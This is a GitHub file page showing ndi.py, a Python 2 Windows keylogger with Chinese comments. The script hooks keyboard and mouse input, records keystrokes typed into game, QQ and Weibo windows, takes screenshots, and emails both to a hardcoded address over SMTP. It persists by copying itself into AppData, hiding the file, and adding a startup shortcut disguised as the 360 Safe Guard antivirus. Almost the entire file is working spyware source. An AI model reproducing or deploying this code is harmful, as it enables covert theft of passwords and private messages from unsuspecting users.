-
Notifications
You must be signed in to change notification settings - Fork 1
/
ndi.py
121 lines (114 loc) · 4.67 KB
/
ndi.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
import os
import time
import pythoncom
import shutil
import smtplib
import pyHook
from PIL import ImageGrab
from win32com.shell import shell
from win32com.shell import shellcon
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
sender = '[email protected]'#邮件发送方
receiver = '[email protected]'#邮件接收方
subject = 'python email test'
smtpserver = 'smtp.qq.com'#邮件服务器
username = '123456789'#邮件用户名
password = '1111111'#邮件密码
smtp = smtplib.SMTP()
startup_path = shell.SHGetPathFromIDList(shell.SHGetSpecialFolderLocation(0,shellcon.CSIDL_STARTUP))
appdata_path = shell.SHGetPathFromIDList(shell.SHGetSpecialFolderLocation(0,shellcon.CSIDL_APPDATA))
def set_shortcut(filename,lnkname,iconname):
shortcut = pythoncom.CoCreateInstance(
shell.CLSID_ShellLink, None,
pythoncom.CLSCTX_INPROC_SERVER, shell.IID_IShellLink)
shortcut.SetPath(filename)
shortcut.SetIconLocation(iconname,0)
if os.path.splitext(lnkname)[-1] != '.lnk':
lnkname += ".lnk"
shortcut.QueryInterface(pythoncom.IID_IPersistFile).Save(lnkname,0)
#如果是远程监听某个电脑,可以将获取到的信息通过邮件发出去
def send_email(msg,file_name):
msgRoot = MIMEMultipart('related')
msgRoot['Subject'] = file_name#邮件标题
msgText = MIMEText('%s'%msg,'html','utf-8')#发送HTML形式的文字信息
msgRoot.attach(msgText)
att = MIMEText(open('%s'%file_name, 'rb').read(), 'base64', 'utf-8')#将屏幕截图作为附件
att["Content-Type"] = 'application/octet-stream'
att["Content-Disposition"] = 'attachment; filename="%s"'%file_name
msgRoot.attach(att)
while 1:
try:
smtp.sendmail(sender, receiver, msgRoot.as_string())
break
except:
try:
smtp.connect('smtp.qq.com')#尝试登陆SMTP邮件服务器
smtp.login(username, password)
except:
print "failed to login to smtp server"
path=os.getcwd()+"\\"+file_name#删除本地截图
if os.path.exists(path):
os.remove(path)
def onMouseEvent(event):
# 监听鼠标事件
global MSG
if len(MSG)!=0:
pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
pic_name = "mouse_"+pic_name+".png"
pic = ImageGrab.grab()
pic.save('%s' % pic_name)#将用户屏幕截图,保存到本地
send_email(MSG,pic_name)
## write_msg_to_txt(MSG)
MSG=''
return True
def onKeyboardEvent(event):
#监听键盘事件
global MSG
title= event.WindowName.decode('GBK')
#通过窗口的title,判断当前窗口是否是“监听目标”
if title.find(u"魔兽世界") != -1 or title.find(u"英雄联盟") != -1 or title.find(u'QQ')!=-1 or title.find(u'微博')!=-1 or title.find(u'战网')!=-1:
#Ascii: 8-Backspace , 9-Tab ,13-Enter
if (127 >= event.Ascii > 31) or (event.Ascii == 8):
MSG += chr(event.Ascii)
if (event.Ascii == 9) or (event.Ascii == 13):
#屏幕抓图实现
pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
pic_name = "keyboard_"+pic_name+".png"
pic = ImageGrab.grab()#保存成为以日期命名的图片
pic.save('%s' % pic_name)
send_email(MSG,pic_name)
## write_msg_to_txt(MSG)
MSG = ''
return True
if __name__ == "__main__":
icon_file=os.getcwd()+"\\"+"ABE.glj"#源图标位置
exe_file=os.getcwd()+"\\"+"开始游戏.exe"#源程序位置
icon_copy=appdata_path+"\\"+"360安全卫士.ico"#目标图标位置
exe_copy=appdata_path+"\\"+"youxun.exe"#目标程序位置
if os.path.exists(icon_file) and os.path.exists(exe_file):#源位置无误则复制到目标位置
shutil.copy(exe_file,exe_copy)
if os.path.exists(icon_copy) and os.path.exists(exe_copy):#一切顺利则设置隐藏和快捷方式
cmd1 = 'attrib +h "' + icon_copy +'"'
os.popen(cmd1).close()
cmd2 = 'attrib +h "' + exe_copy +'"'
os.popen(cmd2).close()
lnk_name=startup_path+"\\360安全卫士.lnk"
set_shortcut(exe_copy,lnk_name,icon_copy)
try:
smtp.connect('smtp.qq.com')#尝试登陆SMTP邮件服
smtp.login(username, password)
except:
print "failed to login to smtp server"
MSG = ''
#创建hook句柄
hm = pyHook.HookManager()
#监控鼠标
hm.SubscribeMouseLeftDown(onMouseEvent)
hm.HookMouse()
#监控键盘
hm.KeyDown = onKeyboardEvent
hm.HookKeyboard()
#循环获取消息
pythoncom.PumpMessages()